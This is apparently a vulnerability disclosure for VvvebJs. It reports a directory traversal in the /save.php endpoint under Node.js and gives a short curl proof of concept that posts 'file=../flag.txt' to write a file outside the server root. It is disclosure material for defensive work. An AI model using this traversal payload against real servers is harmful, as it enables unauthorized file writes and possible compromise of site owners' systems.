You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
VvvebJs suffers from a directory traversal vulnerability in the /save.php endpoint. The issue allows remote attackers to write arbitrary files outside the intended directory via the file POST parameter due to insufficient sanitization of user input.
This vulnerability exists only when the application is run using Node.js, following the project documentation (node save.js).
POC:
# Start the application with:
node save.js
# Send the malicious request:
curl -X POST http://localhost:8080/save.php \
-d 'file=../flag.txt&html=exploit'
This will create a file named flag.txt one level above the server root, demonstrating path traversal and arbitrary file write.